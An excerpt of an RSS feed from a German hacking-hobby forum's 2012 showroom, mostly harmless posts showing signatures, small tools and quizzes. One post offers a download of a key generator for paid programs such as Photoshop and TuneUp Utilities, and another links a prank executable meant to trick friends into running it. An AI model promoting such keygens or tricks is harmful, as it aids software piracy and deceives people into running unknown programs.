			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/technobase-fm-player-0-1-11704</guid>
		</item>
		<item>
			<title>Vorschau U-hacks Sig</title>
			<link>showroom-102/u-hacks-sig-11634?goto=newpost</link>
			<pubDate>Mon, 30 Apr 2012 10:14:49 GMT</pubDate>
			<description>Hey, 
 
habe ein bischen an eine u-hacks signatur gearbeitet: 
 
Bild: http://i48.tinypic.com/29xyuci.png  
 
 
Hoffe es gefällt euch! 
 
bewerten:...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
<br />
habe ein bischen an eine u-hacks signatur gearbeitet:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i48.tinypic.com/29xyuci.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<br />
Hoffe es gefällt euch!<br />
<br />
bewerten: x/10</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x failstar</dc:creator>
			<guid isPermaLink="true">showroom-102/u-hacks-sig-11634</guid>
		</item>
		<item>
			<title>Release Multi KeyGenerator</title>
			<link>showroom-102/multi-keygenerator-11289?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 21:27:48 GMT</pubDate>
			<description><![CDATA[Hi. 
 
Ich möchte euch meinen "KeyGenerator" - Version 1.0 vorstellen. 
Mit diesem Programm ist es möglich Aktivierungskeys für kostenpflichtige...]]></description>
			<content:encoded><![CDATA[<div>Hi.<br />
<br />
Ich möchte euch meinen &quot;KeyGenerator&quot; - Version 1.0 vorstellen.<br />
Mit diesem Programm ist es möglich Aktivierungskeys für kostenpflichtige Programme zu generieren.<br />
<br />
Momentan enthalten:<br />
- TuneUp Utilities 2011<br />
- TuneUp Utilities 2012<br />
- Camtasia Studio 7<br />
- Advanced Systemcare 5.2<br />
- GameBooster 2.3<br />
- Adobe Photoshop<br />
- Ashampoo Burning Studio<br />
- Ashampoo Win Optimizer 8<br />
- Ashampoo Win Optimizer 9<br />
- Adobe Creative Suite 5<br />
<br />
Screen:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i42.tinypic.com/4rffuv.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
VirusTotal:<br />
<a href="https://www.virustotal.com/file/fb29b0581853ca8dcdc0a397a3d6ba22c7e1b40c910e56ea3820356d48151ccc/analysis/1335129984/" target="_blank" rel="nofollow">https://www.virustotal.com/file/fb29...is/1335129984/</a><br />
<br />
Wer sich das Programm mal auf seinem PC anschauen möchte, kann es sich schonmal downloaden:<br />
<a href="http://www.file-upload.net/download-4294616/Multi-KeyGenerator.exe.html" target="_blank" rel="nofollow">File-Upload.net - Multi-KeyGenerator.exe</a><br />
<br />
Später in Version 1.1:<br />
+ Funktion für den Button Information<br />
+ Mehr Programme<br />
<br />
Falls euch noch andere Verbesserungsvorschläge einfallen, dann könnt ihr diese natürlich auch nennen.<br />
<br />
Da das Programm momentan erst 10 Programme mit Keys enthällt, <b><font color="Red">BITTE</font></b> ich euch mir noch Programme zu nennen, die man mit Keys aktivieren muss bzw. kann um mehr Vorteile zu erhalten. Das Programm soll eine große Auswahl an Keys enthalten.<br />
<br />
MfG.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x BoooM x</dc:creator>
			<guid isPermaLink="true">showroom-102/multi-keygenerator-11289</guid>
		</item>
		<item>
			<title>Freunde Owner</title>
			<link>showroom-102/freunde-owner-31219?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 19:24:38 GMT</pubDate>
			<description>Is unschädlich aber trotzdem recht lustig, grade schon Grammatikfehler und paar andere damit owned xD macht Bock xD 
 
Screen kann ich leider keinen...</description>
			<content:encoded><![CDATA[<div>Is unschädlich aber trotzdem recht lustig, grade schon Grammatikfehler und paar andere damit owned xD macht Bock xD<br />
<br />
Screen kann ich leider keinen geben xD, wers ausgeführt hat, weiß wieso.<br />
<br />
Download:<br />
<a href="http://www.mediafire.com/?kogw82d3yx3o9q8" target="_blank" rel="nofollow">Fail.exe</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/freunde-owner-31219</guid>
		</item>
		<item>
			<title>Vorschau Quizbot</title>
			<link>showroom-102/quizbot-11258?goto=newpost</link>
			<pubDate>Sun, 22 Apr 2012 14:06:46 GMT</pubDate>
			<description>Hey u-h, 
 
wollte einen kleinen Quizbot in Vb machen. 
 
Bild: http://img3.fotos-hochladen.net/uploads/aufzeichnenvq3gc8ioht.jpg ...</description>
			<content:encoded><![CDATA[<div>Hey u-h,<br />
<br />
wollte einen kleinen Quizbot in Vb machen.<br />
<br />
<a href="http://www.fotos-hochladen.net" target="_blank" rel="nofollow"><a style="font-weight:bold;text-decoration:none;" target="blank" href="http://img3.fotos-hochladen.net/uploads/aufzeichnenvq3gc8ioht.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></a><br />
<br />
Wie findet ihr ihn x/10 hihio<br />
<br />
Ist noch in Arbeit.^^<br />
<br />
enjoy!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x failstar</dc:creator>
			<guid isPermaLink="true">showroom-102/quizbot-11258</guid>
		</item>
		<item>
			<title>Vorschau Multibot</title>
			<link>showroom-102/multibot-11170?goto=newpost</link>
			<pubDate>Fri, 20 Apr 2012 20:29:59 GMT</pubDate>
			<description>Hallo ich möchte euch gerne mal meinen Multibot Vorstellen, ist noch nicht fertig rechtschreib fehler bitte posten, verbesserungs vorschläge auch. 
...</description>
			<content:encoded><![CDATA[<div>Hallo ich möchte euch gerne mal meinen Multibot Vorstellen, ist noch nicht fertig rechtschreib fehler bitte posten, verbesserungs vorschläge auch.<br />
<br />
<img src="http://s14.directupload.net/file/d/2866/rrzlshib_png.htm" border="0" alt="" /><br />
<a href="http://s14.directupload.net/file/d/2866/rrzlshib_png.htm" target="_blank" rel="nofollow">http://s14.directupload.net/file/d/2...zlshib_png.htm</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">showroom-102/multibot-11170</guid>
		</item>
		<item>
			<title>Assassins creed Sig</title>
			<link>showroom-102/assassins-creed-sig-11036?goto=newpost</link>
			<pubDate>Wed, 18 Apr 2012 12:16:54 GMT</pubDate>
			<description><![CDATA[Heyoh u-h, 
 
Habe eine Signatur zu mein Liebling's-spiel gemacht: 
 
 
Bild: http://www.fotos-hochladen.net/uploads/assassinscreed8roblhinmj.png  
...]]></description>
			<content:encoded><![CDATA[<div>Heyoh u-h,<br />
<br />
Habe eine Signatur zu mein Liebling's-spiel gemacht:<br />
<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.fotos-hochladen.net/uploads/assassinscreed8roblhinmj.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Bewerten bitte: x/10. :)<br />
<br />
Gruß.<br />
<br />
/e: 1 Stundearbeit.- <a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.fotos-hochladen.net/uploads/assassinscreed6bpni75kqe.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x failstar</dc:creator>
			<guid isPermaLink="true">showroom-102/assassins-creed-sig-11036</guid>
		</item>
		<item>
			<title>Avatar</title>
			<link>showroom-102/avatar-10982?goto=newpost</link>
			<pubDate>Tue, 17 Apr 2012 10:52:58 GMT</pubDate>
			<description>*Hi U-H,* 
 
*Habe grade schnell ein Avatar angefertigt:* 
 
Bild: http://www.fotos-hochladen.net/uploads/aufzeichnencrubw3qk1p.jpg  
 
*Arbeit: 3...</description>
			<content:encoded><![CDATA[<div><b>Hi U-H,</b><br />
<br />
<b>Habe grade schnell ein Avatar angefertigt:</b><br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.fotos-hochladen.net/uploads/aufzeichnencrubw3qk1p.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<b>Arbeit: 3 Minuten.</b> <br />
<br />
<b><i>Wer will kann es ja bewerten - x/10.</i></b><br />
<br />
<br />
<b>Gruß.-</b></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x failstar</dc:creator>
			<guid isPermaLink="true">showroom-102/avatar-10982</guid>
		</item>
		<item>
			<title>EMS - Source</title>
			<link>showroom-102/ems-source-31679?goto=newpost</link>
			<pubDate>Mon, 16 Apr 2012 15:37:48 GMT</pubDate>
			<description>*EMS 
* 
_Event Management System 
_ 
 
Ihr wollt ein Event leiten, verliert aber schnell den Überblick über die Teilnehmer, wollt bestimmte Leute...</description>
			<content:encoded><![CDATA[<div><b><div style="text-align: center;"><font size="5">EMS</font></div></b><br />
<u><div style="text-align: center;"><font size="3">Event Management System</font></div></u><br />
<br />
Ihr wollt ein Event leiten, verliert aber schnell den Überblick über die Teilnehmer, wollt bestimmte Leute von diesem Event ausschließen oder nur eine gewissen Anzahl an Teilnehmern zulassen?<br />
Dann ist EMS genau das Richtige für euch!<br />
<br />
Mit EMS ist es möglich den Namen und die Beschreibung für ein Event zu bearbeiten und die Teilnehmer zu verwalten, jeder Teilnehmer kann sich ohne Anmeldung eintragen, aber ihr entscheidet, wer wirklich mitmachen darf.<br />
<br />
Ich habe außerdem eine Klasse zum Installieren, damit ihr keine Datenbank oder Tabellen importieren müsst, dadurch wird die Benutzung noch viel einfacher als bei meinen anderen Skripten.<br />
<br />
In diesem Projekt steckt viel Arbeit, es ist aber auch wirklich nützlich.<br />
<br />
Nun folgen nun ein paar Screenshots, um euch die Oberfläche zu zeigen.<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<br />
<img src="https://u-img.net/img/2335Hb.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/4335No.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/7335Qu.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3336Hk.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/8336Rx.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3336Uh.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/3336Kk.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/2337Qp.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/8337Qy.png" border="0" alt="" /><br />
<img src="https://u-img.net/img/6337Pl.png" border="0" alt="" /><br />
<br />
<br />

</div>
</div>
</div><br />
<br />
<u>Wie installiere ich EMS?</u><br />
<br />
Verzeichnis entpacken, Dateien auf FTP-Server laden, der Datei install.php die Rechte 777 geben, die Datei install.php aufrufen, die erforderlichen Daten eingeben und nach der Installation die Datei install.php löschen.<br />
<br />
<u>Wie verwende ich EMS?</u><br />
<br />
Einloggen könnt ihr euch mit euren Admin-Account unter /ems/admin, sind die Daten richtig werdet ihr direkt zum Panel weitergeleitet, der Rest erklärt sich von selbst.<br />
<br />
Download: <a href="http://schmitz-dev.net/download.php" target="_blank" rel="nofollow">hier klicken</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/ems-source-31679</guid>
		</item>
		<item>
			<title>Vorschau U-Hacks Talkrunde - Intro</title>
			<link>showroom-102/u-hacks-talkrunde-intro-10937?goto=newpost</link>
			<pubDate>Mon, 16 Apr 2012 08:06:30 GMT</pubDate>
			<description><![CDATA[v5PCI1JuDac 
 
Wollte Fabi haben, für das kommende Talkrunden"video". Was sagt ihr dazu ? hihio]]></description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><object width="640" height="360"><param name="movie" value="//www.youtube.com/v/v5PCI1JuDac"></param><embed src="//www.youtube.com/v/v5PCI1JuDac" type="application/x-shockwave-flash" width="640" height="360"></embed></object></div><br />
Wollte Fabi haben, für das kommende Talkrunden&quot;video&quot;. Was sagt ihr dazu ? hihio</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>h00r4y</dc:creator>
			<guid isPermaLink="true">showroom-102/u-hacks-talkrunde-intro-10937</guid>
		</item>
		<item>
			<title>Vorschau Knuddels Java Emulator</title>
			<link>showroom-102/knuddels-java-emulator-10833?goto=newpost</link>
			<pubDate>Fri, 13 Apr 2012 23:18:09 GMT</pubDate>
			<description>Hallo ich arbeite seit längerer zeit an einem Java emulator^^ 
habt ihr sicherlich schon mitbekommen, ich wolte euch den gerne mal vorstellen....</description>
			<content:encoded><![CDATA[<div>Hallo ich arbeite seit längerer zeit an einem Java emulator^^<br />
habt ihr sicherlich schon mitbekommen, ich wolte euch den gerne mal vorstellen.<br />
leider basiert die verbindung noch auf hamatchi also wenn ihr drauf wolt schreibt mir eine pm mit dem account und pw was ihr haben wollt und dann schick ich euch die server daten^^<br />
<br />
/e<br />
<br />
Nach dem Tutorial von: <a href="http://banana-coding.com/" target="_blank" rel="nofollow">http://banana-coding.com/</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sploxfreak</dc:creator>
			<guid isPermaLink="true">showroom-102/knuddels-java-emulator-10833</guid>
		</item>
		<item>
			<title>Release Bildschirmsperre</title>
			<link>showroom-102/bildschirmsperre-10813?goto=newpost</link>
			<pubDate>Fri, 13 Apr 2012 17:47:08 GMT</pubDate>
			<description>Hallo Leute. 
 
Ich habe vor sehr langer Zeit mal ein Programm gemacht, womit man Programme mit einem Passwort schützen kann. Nun möchte ich euch...</description>
			<content:encoded><![CDATA[<div>Hallo Leute.<br />
<br />
Ich habe vor sehr langer Zeit mal ein Programm gemacht, womit man Programme mit einem Passwort schützen kann. Nun möchte ich euch mein anderes Programm vorstellen.<br />
<br />
Das Programm hat den Namen &quot;Bildschirmsperre&quot;, was ganz nützlich ist wenn ihr mal ein paar Minuten/Stunden den PC verlasst und ihn noch anhabt und nicht wollt das Eltern/Geschwister irgendwas anschauen falls ihr kein Passwort in eurem Account habt.<br />
<br />
Screen:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i43.tinypic.com/15hzvuu.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
VirusTotal:<br />
<a href="https://www.virustotal.com/file/2a2e06b44e1bd79918290ff06b4c75ceef73e9026c954f794a836edc2119c154/analysis/1334339047/" target="_blank" rel="nofollow">https://www.virustotal.com/file/2a2e...is/1334339047/</a><br />
<br />
Download:<br />
<a href="http://www.mediafire.com/?c1jhrgg1a0pwd15" target="_blank" rel="nofollow">Bildschirmsperre.exe</a><br />
<br />
Zu Beginn öffnet sich eine &quot;Login-Form&quot; wo ihr ein Passwort eingeben müsst, danach öffnet sich das auf dem Screen zu sehende &quot;Optionsfenster&quot;.<br />
<br />
<b><font color="Red">Passwort:</font></b> uhacks<br />
Entweder ihr lasst das Passwort so, oder ihr ändert das Passwort bevor ihr euren Bildschirm sperrt.<br />
<br />
<b><font color="Cyan">WARNUNG:</font></b> Wenn der Bildschirm gesperrt ist, gibt es keine Möglichkeit das Fenster mit &quot;Alt + F4&quot; oder mit dem &quot;Taskmanager&quot; oder über das &quot;X&quot; zu schließen. Alle 3 Sachen sind blockiert.<br />
<br />
Nachdem ihr auf &quot;Bildschirm sperren&quot; geklickt habt, öffnet sich ein Fenster was sich über den ganzen Bildschirm zieht mit einer Zeile zum entsperren. <br />
Bevor der Bildschirm gesperrt wird, habe ich noch eine MessageBox anzeigen lassen, die euch nochmal darauf hinweißt wie ihr den Bildschirm entsperren könnt.<br />
<br />
MfG, x BoooM x. hihio</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x BoooM x</dc:creator>
			<guid isPermaLink="true">showroom-102/bildschirmsperre-10813</guid>
		</item>
		<item>
			<title>Wie bosshaft bist du?</title>
			<link>showroom-102/wie-bosshaft-bist-du-31056?goto=newpost</link>
			<pubDate>Fri, 13 Apr 2012 10:45:16 GMT</pubDate>
			<description>Wie würde es der Boss sagen? Hallo meine Freunde Bild: http://u-hacks.net/images/uhacks/smilies/icon1.png  
 
 
Dieses Programm ist für alle...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;">Wie würde es der Boss sagen? Hallo meine Freunde <img src="http://u-hacks.net/images/uhacks/smilies/icon1.png" border="0" alt="" /></div><br />
<br />
Dieses Programm ist für alle Kollegahfans gedacht, die ihre  Bosshaftigkeit unter Beweis stellen wollen. Um zu erfahren, wie bosshaft  ihr seid, müsst ihr einfach dei 9 Fragen, die euch gestellt werden,  beantworten und am Ende seht ihr dann das Ergebnis.<br />
Für die Antwort A gebt ihr logischerweise ein A in, für B ein B und so  weiter..Bitte beachtet, dass ihr die Antwort als GROßBUCHSTABE schreiben  müsst!<br />
<br />
Genug geschrieben hier die Downloadlinks und der Screen.<br />
<br />
Screen:<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7236&amp;d=1394943824" border="0" alt="Name:  KOLLEGAHQUIZ2[1].PNG
Hits: 663
Größe:  27,5 KB" class="thumbnail" style="float:CONFIG" /><br />
   <br />
Download:<br />
<a href="http://netload.in/dateiwE23qHRAPm/KollegahQuiz2.exe.htm" target="_blank" rel="nofollow">Netload.in - Download</a><br />
<a href="http://www.share-online.biz/dl/0ZFSYE2M7B" target="_blank" rel="nofollow">Share-Online - Download</a><br />
 <br />
Falls die Links down sind, einfach per PN Bescheid geben.<br />
<br />
Postet mal eure Ergebnisse, aber seid ehrlich und nicht googlen und  postet euer erstes Ergebnis ! Falls ihr schummelt, ist dass nicht  bosshaft, sonder extrem pussyhaft. <img src="http://u-hacks.net/images/uhacks/smilies/icon1.png" border="0" alt="" /></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7236&amp;stc=1&amp;d=1394943824" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Saad</dc:creator>
			<guid isPermaLink="true">showroom-102/wie-bosshaft-bist-du-31056</guid>
		</item>
		<item>
			<title>Release Wie bosshaft bist du?</title>
			<link>showroom-102/wie-bosshaft-bist-du-10792?goto=newpost</link>
			<pubDate>Fri, 13 Apr 2012 10:25:45 GMT</pubDate>
			<description>*Wie würde es der Boss sagen? Hallo meine Freunde :) 
* 
 
Dieses Programm ist für alle Kollegahfans gedacht, die ihre Bosshaftigkeit unter Beweis...</description>
			<content:encoded><![CDATA[<div><font color="DeepSkyBlue"><b><span style="text-shadow: 0px 0px 10px #8d8d8d"><font size="3"><div style="text-align: center;">Wie würde es der Boss sagen? Hallo meine Freunde :)</div></font></span></b></font><br />
<br />
Dieses Programm ist für alle Kollegahfans gedacht, die ihre Bosshaftigkeit unter Beweis stellen wollen. Um zu erfahren, wie bosshaft ihr seid, müsst ihr einfach dei 9 Fragen, die euch gestellt werden, beantworten und am Ende seht ihr dann das Ergebnis.<br />
Für die Antwort A gebt ihr logischerweise ein A in, für B ein B und so weiter..Bitte beachtet, dass ihr die Antwort als GROßBUCHSTABE schreiben müsst!<br />
<br />
Genug geschrieben hier die Downloadlinks und der Screen.<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><font color="DeepSkyBlue"><b>Screen:</b></font></span> <div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www0.xup.in/exec/ximg.php?fid=92391885"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a>
</div>
</div>
</div><br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><font color="DeepSkyBlue"><b>Download:</b></font></span> <div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a href="http://netload.in/dateimtqQspZnFq/KollegahQuiz1.exe.htm" target="_blank" rel="nofollow">Netload-Download</a><br />
<a href="http://www.share-online.biz/dl/EUWRXE2MO7" target="_blank" rel="nofollow">Share-Online-Download</a>
</div>
</div>
</div><br />
<br />
Falls die Links down sind, einfach per PN Bescheid geben.<br />
<br />
Postet mal eure Ergebnisse, aber seid ehrlich und nicht googlen und postet euer erstes Ergebnis ! Falls ihr schummelt, ist dass nicht bosshaft, sonder extrem pussyhaft. :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Saad</dc:creator>
			<guid isPermaLink="true">showroom-102/wie-bosshaft-bist-du-10792</guid>
		</item>
		<item>
			<title><![CDATA[Release 'Bist du süchtig?' - Test V1.1]]></title>
			<link>showroom-102/bist-du-suechtig--test-v1-1-10416?goto=newpost</link>
			<pubDate>Sat, 07 Apr 2012 20:32:27 GMT</pubDate>
			<description>Hallo, 
 
vorweg: Es dient alles zu Lernzwecken. 
Ich dachte mir aber mal, dass ich einen kleinen Test programmiere, der euch sagt, ob ihr Pc süchtig...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
vorweg: Es dient alles zu Lernzwecken.<br />
Ich dachte mir aber mal, dass ich einen kleinen Test programmiere, der euch sagt, ob ihr Pc süchtig seid oder nicht. Ergebnis muss natürlich nicht stimmen.<br />
<br />
Es werden 9 Fragen gestellt, die ihr mit einer Zahl beantwortet.<br />
Es gibt Antwort A, B und C. Für Antwort A gebt ihr eine 1 ein, für B eine 2 und für C eine 3. - Ich denke, das ist verständlich.<br />
<br />
Ich persönlich finde es unübersichtlich, vielleicht mögt ihr den Test ja trotzdem machen und mir ein kleines Feedback geben.<br />
<br />
Verbesserungswünsche sind natürlich immer gern gesehen, sowie Kritik.<br />
<br />
Screen: <br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<img src="http://localhostr.com/file/AoGZ02X/testsucht.png" border="0" alt="" />
</div>
</div>
</div><br />
<br />
Download:<br />
[Hide=1]http://localhostr.com/file/Ywmsof4/Suchttest%20V1.1.rar[/Hide]<br />
<br />
Virustotal:<br />
[Hide=1]https://www.virustotal.com/file/a55644e08e4a6d932b7548f1fcadc805e7a86feddd9308dd94  d8db7e517047d0/analysis/1333830557/[/hide]<br />
<br />
Dankeschön geht raus an PaTrick und Mentos, die mir bei kleinen Fragen geholfen haben.<br />
<br />
Viel Spaß damit.<br />
Ich hoffe, dass es für mein erstes halbwegs brauchbares Programm nicht alzu schlecht ist.<br />
<br />
Gruß,<br />
aquastar<br />
<br />
<font size="1">Ps: Alle Angaben ohne Gewähr.</font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>aquastar</dc:creator>
			<guid isPermaLink="true">showroom-102/bist-du-suechtig--test-v1-1-10416</guid>
		</item>
		<item>
			<title><![CDATA[Release Audio- & Photomaker]]></title>
			<link>showroom-102/audio-photomaker-10411?goto=newpost</link>
			<pubDate>Sat, 07 Apr 2012 18:49:53 GMT</pubDate>
			<description><![CDATA[Hi. 
 
Ich habe gestern Angefangen ein Programm zu machen womit man mit seinem Mikrofon Audiodateien aufzeichnen kann & mit seiner Webcam Fotos...]]></description>
			<content:encoded><![CDATA[<div>Hi.<br />
<br />
Ich habe gestern Angefangen ein Programm zu machen womit man mit seinem Mikrofon Audiodateien aufzeichnen kann &amp; mit seiner Webcam Fotos machen kann. Die Funktion mit dem Selbstauslöser ist mir dann später erst noch eingefallen.<br />
<br />
Screen:<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i42.tinypic.com/xe3jo1.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Download:<br />
<a href="http://www.file-upload.net/download-4252145/AudioFoto.exe.html" target="_blank" rel="nofollow">File-Upload.net - AudioFoto.exe</a><br />
oder<br />
<a href="http://www.mediafire.com/?fjdb1d20j4f5mxg" target="_blank" rel="nofollow">AudioFoto.exe</a><br />
<br />
Die Fotos werden auf dem Destkop im Ordner &quot;Cam&quot; im &quot;.jpg-Format&quot; gespeichert, und die Aufnahmedateien werden als &quot;.wav-Datei&quot; auf dem Destkop gespeichert.<br />
<br />
Wenn noch irgendjemand eine Idee hat was man hinzufügen könnte, dann schreibt es bitte in das Thema hier, und seit bitte nicht zu streng.<br />
<br />
MfG.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>x BoooM x</dc:creator>
			<guid isPermaLink="true">showroom-102/audio-photomaker-10411</guid>
		</item>
		<item>
			<title>Release Elegante Quotes</title>
			<link>showroom-102/elegante-quotes-10355?goto=newpost</link>
			<pubDate>Sat, 07 Apr 2012 00:02:56 GMT</pubDate>
			<description>Hallo, 
Würde mich freuen wenn ihr meine Seite teilt auf Facebook undso, gibt ja soviele Zitat-Experten auf Facebook.  
Meine Seite spuckt halt immer...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
Würde mich freuen wenn ihr meine Seite teilt auf Facebook undso, gibt ja soviele Zitat-Experten auf Facebook. <br />
Meine Seite spuckt halt immer ein neues Zitat aus der Datenbank aus, ganz simple aber doch elegant :)<br />
<br />
<a href="http://drilon.info" target="_blank" rel="nofollow">drilon . sometimes</a><br />
<br />
Wenn ihr Zitate habt könnt ihr diese gerne einsenden.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
